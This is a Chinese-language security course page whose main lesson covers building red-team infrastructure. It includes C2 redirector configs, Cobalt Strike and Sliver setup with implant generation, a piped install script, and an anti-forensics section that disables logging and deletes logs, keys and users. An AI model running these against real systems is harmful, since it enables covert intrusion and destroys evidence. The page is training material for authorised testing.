公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-225-渗透测试中的红队基础设施搭建
# Day 244: 渗透测试中的红队基础设施搭建 > 渗透测试系列第 34 天 | 预计阅读时间:38 分钟 | 难度:★★★★★ --- ## 清单 目录 1. [红队基础设施概述](#红队基础设施概述) 2. [基础设施设计原则](#基础设施设计原则) 3. [域名管理](#域名管理) 4. [IP 地址管理](#ip-地址管理) 5. [重定向器搭建](#重定向器搭建) 6. [C2 服务器配置](#c2-服务器配置) 7. [流量管理](#流量管理) 8. [安全通信](#安全通信) 9. [基础设施自动化](#基础设施自动化) 10. [反溯源技术](#反溯源技术) 11. [基础设施监控](#基础设施监控) 12. [应急清理](#应急清理) 13. [实战案例](#实战案例) 14. [总结与思考](#总结与思考) 15. [参考资料](#参考资料) --- ## 红队基础设施概述 ### 什么是红队基础设施 红队基础设施是红队行动中用于指挥控制 (C2)、数据外传、载荷投递的所有技术组件的总和。良好的基础设施设计是红队行动成功的关键。 ``` ┌─────────────────────────────────────────────────────────────────┐ │ 红队基础设施核心组件 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ 目标设备 (Victim) │ │ ↓ │ │ 重定向器 (Redirector) ← 流量转发、隐藏真实 C2 │ │ ↓ │ │ 团队服务器 (Team Server) ← C2 核心、会话管理 │ │ ↓ │ │ 操作端 (Operator) ← 红队成员操作界面 │ │ │ │ 辅助组件: │ │ ├── 域名系统 (Domain) │ │ ├── IP 地址 (IP Address) │ │ ├── SSL 证书 (Certificate) │ │ ├── 监听器 (Listener) │ │ ├── 载荷存储 (Payload Hosting) │ │ └── 数据外传 (Exfiltration) │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` ### 基础设施重要性 ``` 为什么基础设施至关重要: ├── 隐蔽性 │ ├── 隐藏真实身份 │ ├── 隐藏真实位置 │ └── 避免被追踪 ├── 弹性 │ ├── 单点故障容忍 │ ├── 快速恢复能力 │ └── 备用通道 ├── 可扩展性 │ ├── 支持多目标 │ ├── 支持多操作者 │ └── 支持多阶段 ├── 可控性 │ ├── 流量控制 │ ├── 会话管理 │ └── 数据管理 └── 可否认性 ├── 使用被黑基础设施 ├── 流量混淆 └── 快速销毁 ``` ### ! 法律与道德警示 ``` ┌─────────────────────────────────────────────────────────────────┐ │ ! 重要警示:基础设施搭建的法律边界 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ 合法行为: │ │ + 租赁云服务器搭建 C2 │ │ + 注册域名用于测试 │ │ + 配置重定向器 │ │ + 使用 CDN 服务 │ │ │ │ 非法行为: │ │ - 入侵他人服务器作为 C2 │ │ - 劫持合法域名 │ │ - 滥用免费服务 │ │ - 攻击第三方基础设施 │ │ │ │ 必须遵守: │ │ - 仅用于授权渗透测试 │ │ - 遵守云服务提供商政策 │ │ - 遵守当地法律法规 │ │ - 测试后完全清理 │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` --- ## 基础设施设计原则 ### OPSEC 原则 ``` OPSEC (Operational Security) 原则: ├── 最小化足迹 │ ├── 最少必要组件 │ ├── 最小权限 │ └── 最小暴露 ├── 分层隔离 │ ├── 重定向器与 C2 隔离 │ ├── 不同阶段使用不同基础设施 │ └── 目标间隔离 ├── 流量伪装 │ ├── 模仿合法流量 │ ├── 使用常见端口 │ └── 加密通信 ├── 快速变更 │ ├── 快速切换基础设施 │ ├── 动态域名/IP │ └── 备用方案 └── 可销毁性 ├── 快速销毁证据 ├── 自动化清理 └── 远程擦除 ``` ### 基础设施架构模式 ``` 常见架构模式: ├── 简单模式 │ Victim → C2 Server → Operator │ 适用:小型测试、内部测试 │ 风险:C2 易暴露 ├── 重定向模式 │ Victim → Redirector → C2 Server → Operator │ 适用:大多数红队行动 │ 风险:中等 ├── 多层重定向 │ Victim → Redirector1 → Redirector2 → C2 → Operator │ 适用:高安全目标 │ 风险:低 ├── 域名前置 │ Victim → CDN → C2 Server → Operator │ 适用:规避审查 │ 风险:CDP 可能封禁 └── 被黑基础设施 │ Victim → Compromised Server → C2 → Operator │ 适用:高级行动 │ 风险:法律风险 ``` ### 生命周期管理 ``` 基础设施生命周期: ├── 规划阶段 │ ├── 需求分析 │ ├── 风险评估 │ └── 资源准备 ├── 搭建阶段 │ ├── 域名注册 │ ├── 服务器配置 │ └── 工具部署 ├── 运营阶段 │ ├── 监控维护 │ ├── 变更管理 │ └── 应急响应 ├── 变更阶段 │ ├── 定期轮换 │ ├── 按需切换 │ └── 紧急替换 └── 清理阶段 ├── 数据擦除 ├── 资源释放 └── 痕迹清理 ``` --- ## 域名管理 ### 域名选择策略 ``` 域名选择考虑: ├── 域名年龄 │ ├── 老域名可信度高 │ └── 新域名易被怀疑 ├── 域名相似性 │ ├── 目标公司相似域名 │ ├── 常见服务域名 │ └── 避免明显恶意 ├── TLD 选择 │ ├── .com/.net/.org (常见) │ ├── 国家 TLD (针对性) │ └── 避免可疑 TLD ├── 子域名策略 │ ├── 多子域名隔离 │ ├── 功能子域名 │ └── 动态子域名 └── 注册信息 ├── 隐私保护 ├── 虚假信息 (法律风险) └── 公司信息 ``` ### 域名注册 ```bash # 域名注册商选择 # 推荐: # - Namecheap (隐私保护好) # - GoDaddy (最大注册商) # - Cloudflare (免费隐私) # - Porkbun (价格便宜) # 批量注册域名 # 使用脚本自动化 for domain in domain1.com domain2.com domain3.com; do # 通过 API 注册 curl -X POST https://api.registrar.com/register \ -d "domain=$domain" \ -d "privacy=true" done ``` ### DNS 配置 ``` DNS 记录配置: ├── A 记录 │ └── 域名→IP 映射 ├── CNAME 记录 │ └── 域名别名 ├── MX 记录 │ └── 邮件服务器 (如需要) ├── TXT 记录 │ ├── SPF/DKIM/DMARC │ └── 验证记录 ├── NS 记录 │ └── 域名服务器 └── CAA 记录 └── 证书颁发授权 ``` ```bash # 使用 Cloudflare API 配置 DNS curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/dns_records" \ -H "Authorization: Bearer API_KEY" \ -H "Content-Type: application/json" \ --data '{"type":"A","name":"c2.example.com","content":"1.2.3.4","ttl":300}' # 使用 Route53 (AWS) aws route53 change-resource-record-sets \ --hosted-zone-id ZONE_ID \ --change-batch file://change.json ``` ### 域名轮换 ``` 域名轮换策略: ├── 时间轮换 │ └── 定期更换域名 (每周/每月) ├── 事件轮换 │ └── 检测到暴露时更换 ├── 目标轮换 │ └── 不同目标使用不同域名 └── 功能轮换 └── 不同功能使用不同域名 ``` ```bash # 自动化域名轮换脚本 #!/bin/bash DOMAINS=("c2-01.example.com" "c2-02.example.com" "c2-03.example.com") CURRENT_INDEX=$(cat /var/lib/c2/domain_index) NEXT_INDEX=$(( (CURRENT_INDEX + 1) % ${#DOMAINS[@]} )) # 更新 DNS 记录 update_dns "${DOMAINS[$NEXT_INDEX]}" "NEW_IP" # 更新 C2 配置 update_c2_config "${DOMAINS[$NEXT_INDEX]}" # 记录轮换 echo $NEXT_INDEX > /var/lib/c2/domain_index ``` --- ## IP 地址管理 ### IP 地址来源 ``` IP 地址来源: ├── 云服务器 │ ├── AWS EC2 │ ├── DigitalOcean │ ├── Vultr │ ├── Linode │ └── Azure ├── VPS 提供商 │ ├── OVH │ ├── Hetzner │ └── 本地提供商 ├── 被黑服务器 │ └── ! 非法,不推荐 └── 代理网络 ├── 住宅代理 └── 数据中心代理 ``` ### IP 信誉管理 ``` IP 信誉考虑: ├── IP 历史 │ ├── 检查是否在黑名单 │ └── 检查历史活动 ├── 地理位置 │ ├── 选择合适地区 │ └── 避免敏感地区 ├── ASN 信誉 │ ├── 某些 ASN 信誉差 │ └── 选择常见云提供商 └── 使用模式 ├── 避免异常流量 └── 模仿正常用户 ``` ```bash # 检查 IP 信誉 # 使用 VirusTotal curl -X GET "https://www.virustotal.com/api/v3/ip_addresses/1.2.3.4" \ -H "x-apikey: YOUR_API_KEY" # 使用 AbuseIPDB curl -X GET "https://api.abuseipdb.com/api/v2/check?ipAddress=1.2.3.4" \ -H "Key: YOUR_API_KEY" # 使用 Spamhaus dig 4.3.2.1.zen.spamhaus.org ``` ### IP 轮换 ``` IP 轮换策略: ├── 弹性 IP │ └── 云提供商弹性 IP 快速切换 ├── 多 IP 池 │ └── 维护 IP 池,按需切换 ├── 代理链 │ └── 通过多层代理 └── Tor 网络 └── 通过 Tor 隐藏 ``` --- ## 重定向器搭建 ### 重定向器作用 ``` 重定向器功能: ├── 隐藏 C2 真实 IP ├── 流量转发 ├── 负载均衡 ├── 流量过滤 ├── 日志记录 └── 紧急切断 ``` ### Nginx 重定向器 ```nginx # Nginx 反向代理配置 # /etc/nginx/sites-available/redirector server { listen 80; server_name c2.example.com; # HTTP 重定向到 HTTPS return 301 https://$server_name$request_uri; } server { listen 443 ssl; server_name c2.example.com; # SSL 配置 ssl_certificate /etc/ssl/certs/c2.crt; ssl_certificate_key /etc/ssl/private/c2.key; ssl_protocols TLSv1.2 TLSv1.3; # C2 流量转发到团队服务器 location /api/ { proxy_pass https://TEAM_SERVER_IP:8443; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 模仿正常流量 proxy_set_header User-Agent $http_user_agent; } # 其他流量重定向到合法网站 (伪装) location / { proxy_pass https://www.google.com; proxy_set_header Host www.google.com; } } ``` ### Apache 重定向器 ```apache # Apache 反向代理配置 # /etc/apache2/sites-available/redirector.conf <VirtualHost *:80> ServerName c2.example.com # 启用 SSL SSLEngine on SSLCertificateFile /etc/ssl/certs/c2.crt SSLCertificateKeyFile /etc/ssl/private/c2.key # C2 流量代理 ProxyPreserveHost On ProxyPass /api/ https://TEAM_SERVER_IP:8443/ ProxyPassReverse /api/ https://TEAM_SERVER_IP:8443/ # 其他流量伪装 ProxyPass / https://www.google.com/ ProxyPassReverse / https://www.google.com/ </VirtualHost> ``` ### HAProxy 重定向器 ```haproxy # HAProxy 配置 # /etc/haproxy/haproxy.cfg global log /dev/log local0 maxconn 4096 defaults log global mode http timeout connect 5000ms timeout client 50000ms timeout server 50000ms frontend https_front bind *:443 ssl crt /etc/ssl/certs/c2.pem acl is_c2 path_beg /api/ use_backend c2_backend if is_c2 default_backend legitimate_backend backend c2_backend server team_server TEAM_SERVER_IP:8443 ssl verify none backend legitimate_backend server google www.google.com:443 ssl verify none ``` ### 多层重定向 ``` 多层重定向架构: ┌─────────────────────────────────────────────────────────┐ │ 多层重定向 │ ├─────────────────────────────────────────────────────────┤ │ │ │ Victim │ │ ↓ │ │ Redirector 1 (云服务器 A) │ │ ↓ │ │ Redirector 2 (云服务器 B) │ │ ↓ │ │ Team Server (云服务器 C) │ │ ↓ │ │ Operator │ │ │ │ 优势: │ │ - 更难追踪到真实 C2 │ │ - 单层暴露不影响整体 │ │ - 可逐层替换 │ │ │ └─────────────────────────────────────────────────────────┘ ``` --- ## C2 服务器配置 ### C2 框架选择 ``` 主流 C2 框架: ├── Cobalt Strike │ ├── 功能最强大 │ ├── 商业软件 (昂贵) │ └── 特征明显 (易检测) ├── Metasploit Framework │ ├── 开源免费 │ ├── 功能全面 │ └── 特征明显 ├── Sliver │ ├── 开源 (Go 语言) │ ├── 类似 Cobalt Strike │ └── 较新 (检测少) ├── Mythic │ ├── 开源 (Python) │ ├── 插件化架构 │ └── 现代化设计 ├── Empire │ ├── 开源 (Python/PowerShell) │ ├── 后渗透强大 │ └── 特征明显 └── Brute Ratel ├── 商业 (Cobalt Strike 替代) ├── 绕过检测好 └── 昂贵 ``` ### Cobalt Strike 配置 ```bash # Cobalt Strike Team Server 配置 # teamserver 脚本 # 启动 Team Server ./teamserver [C2_IP] [Password] [Malleable C2 Profile] # Malleable C2 Profile 配置 # 定义流量特征,模仿合法流量 http-get { set uri "/api/v1/analytics"; client { header "Accept" "application/json"; header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"; } server { header "Content-Type" "application/json"; header "Server" "nginx/1.18.0"; } } http-post { set uri "/api/v1/events"; client { header "Content-Type" "application/json"; header "Authorization" "Bearer token123"; } } ``` ### Sliver 配置 ```bash # Sliver C2 配置 # 安装 Sliver curl https://sliver.sh/install | sudo bash # 启动 Sliver sudo -u sliver /opt/sliver/bin/sliver-server # 创建监听器 sliver> generate --mtls c2.example.com:8888 --save /tmp/payload.exe # 创建多个监听器 sliver> mtls --lhost 0.0.0.0 --lport 8888 sliver> http --lhost 0.0.0.0 --lport 80 sliver> https --lhost 0.0.0.0 --lport 443 ``` ### 多 C2 架构 ``` 多 C2 架构: ├── 主备 C2 │ ├── 主 C2 在线 │ └── 备 C2 待命 ├── 负载均衡 │ ├── 多 C2 并行 │ └── 自动分配 ├── 功能分离 │ ├── 初始访问 C2 │ ├── 持久化 C2 │ └── 数据外传 C2 └── 地理分布 ├── 不同地区 C2 └── 降低延迟 ``` --- ## 流量管理 ### 流量伪装 ``` 流量伪装技术: ├── 协议模仿 │ ├── HTTPS (最常见) │ ├── DNS (隐蔽) │ └── ICMP (少见) ├── 域名前置 │ ├── 使用 CDN 域名 │ └── 隐藏真实域名 ├── 流量混合 │ ├── 混合合法流量 │ └── 难以区分 └── 时间伪装 ├── 模仿正常时间模式 └── 避免异常时间 ``` ### 域名前置 (Domain Fronting) ``` 域名前置原理: ├── 利用 CDN 特性 │ ├── SNI 显示合法域名 │ └── Host 头显示 C2 域名 ├── CDN 路由 │ └── CDN 根据 Host 头路由 └── 观察者看到 └── 只看到合法域名 ``` ``` ! 注意: - 主要 CDN 提供商已禁止域名前置 - AWS CloudFront (2018 禁止) - Google App Engine (2018 禁止) - Azure CDN (2019 禁止) - 但仍有一些小提供商支持 ``` ### 流量加密 ``` 流量加密层级: ├── 传输层加密 │ ├── TLS/SSL │ └── 标准 HTTPS ├── 应用层加密 │ ├── C2 协议加密 │ └── 自定义加密 ├── 载荷加密 │ ├── Shellcode 加密 │ └── 配置加密 └── 通道加密 ├── SSH 隧道 └── VPN 隧道 ``` ```bash # 生成自签名证书 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # 使用 Let's Encrypt (推荐) certbot --nginx -d c2.example.com # 配置证书 # Nginx/Cobalt Strike 等使用证书 ``` --- ## 安全通信 ### 通信安全 ``` 通信安全要求: ├── 机密性 │ └── 加密通信内容 ├── 完整性 │ └── 防止篡改 ├── 认证 │ └── 验证通信双方 └── 不可抵赖 └── 防止否认 ``` ### SSH 隧道 ```bash # SSH 反向隧道 (从 C2 到操作端) ssh -R 8080:localhost:80 user@operator-server # SSH 正向隧道 (从操作端到 C2) ssh -L 8080:c2-server:80 user@c2-server # SSH 动态隧道 (SOCKS 代理) ssh -D 1080 user@c2-server # 保持连接 ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 user@c2-server ``` ### VPN 隧道 ```bash # WireGuard 配置 # 服务器端 [Interface] Address = 10.0.0.1/24 ListenPort = 51820 PrivateKey = SERVER_PRIVATE_KEY [Peer] PublicKey = CLIENT_PUBLIC_KEY AllowedIPs = 10.0.0.2/32 # 客户端 [Interface] Address = 10.0.0.2/24 PrivateKey = CLIENT_PRIVATE_KEY [Peer] PublicKey = SERVER_PUBLIC_KEY Endpoint = c2.example.com:51820 AllowedIPs = 0.0.0.0/0 ``` --- ## 基础设施自动化 ### 自动化部署 ```bash # 使用 Terraform 自动化基础设施 # main.tf provider "aws" { region = "us-east-1" } resource "aws_instance" "redirector" { ami = "ami-0c55b159cbfafe1f0" instance_type = "t2.micro" tags = { Name = "redirector-1" } user_data = <<-EOF #!/bin/bash apt-get update apt-get install -y nginx # 配置重定向器... EOF } resource "aws_instance" "team_server" { ami = "ami-0c55b159cbfafe1f0" instance_type = "t2.small" tags = { Name = "team-server-1" } } ``` ### 配置管理 ```bash # 使用 Ansible 配置管理 # playbook.yml - hosts: redirectors become: yes tasks: - name: Install nginx apt: name: nginx state: present - name: Configure nginx template: src: nginx.conf.j2 dest: /etc/nginx/nginx.conf - name: Start nginx service: name: nginx state: started - hosts: team_servers become: yes tasks: - name: Install Cobalt Strike copy: src: cobaltstrike.zip dest: /opt/cobaltstrike.zip - name: Configure team server script: setup_team_server.sh ``` ### 监控脚本 ```bash #!/bin/bash # 基础设施监控脚本 # 检查服务状态 check_service() { service=$1 if ! systemctl is-active --quiet $service; then echo "[ALERT] $service is down" # 发送告警 send_alert "$service is down" # 尝试重启 systemctl restart $service fi } # 检查连接性 check_connectivity() { host=$1 if ! ping -c 1 -W 1 $host > /dev/null; then echo "[ALERT] Cannot reach $host" send_alert "Cannot reach $host" fi } # 检查证书有效期 check_cert() { domain=$1 days=$(echo | openssl s_client -connect $domain:443 2>/dev/null | \ openssl x509 -noout -enddate | cut -d= -f2) echo "Certificate for $domain expires: $days" } # 主循环 while true; do check_service nginx check_service cobaltstrike check_connectivity c2.example.com sleep 300 done ``` --- ## 反溯源技术 ### 日志管理 ``` 日志管理策略: ├── 最小化日志 │ └── 只记录必要信息 ├── 日志轮转 │ └── 定期清理旧日志 ├── 远程日志 │ └── 日志发送到外部 └── 无日志 └── 禁用日志记录 ``` ```bash # 禁用系统日志 # /etc/rsyslog.conf # 注释掉所有日志规则 # 禁用 journalctl systemctl disable systemd-journald # 清理历史命令 export HISTSIZE=0 export HISTFILESIZE=0 unset HISTFILE # 禁用 bash 历史 ln -sf /dev/null ~/.bash_history ``` ### 痕迹清理 ```bash # 紧急清理脚本 #!/bin/bash # 停止服务 systemctl stop nginx systemctl stop cobaltstrike # 删除日志 rm -rf /var/log/* rm -rf ~/.bash_history rm -rf /root/.bash_history # 删除配置文件 rm -rf /etc/nginx/sites-available/* rm -rf /opt/cobaltstrike/* # 删除用户 userdel -r operator # 删除 SSH 密钥 rm -rf ~/.ssh/* # 清理临时文件 rm -rf /tmp/* rm -rf /var/tmp/* # 清空回收站 rm -rf ~/.local/share/Trash/* # 覆盖删除 (可选) shred -u /var/log/syslog ``` ### 快速销毁 ``` 快速销毁方案: ├── 云实例终止 │ └── API 调用终止实例 ├── 远程擦除 │ └── SSH 执行清理脚本 ├── 自毁脚本 │ └── 定时/触发执行 └── 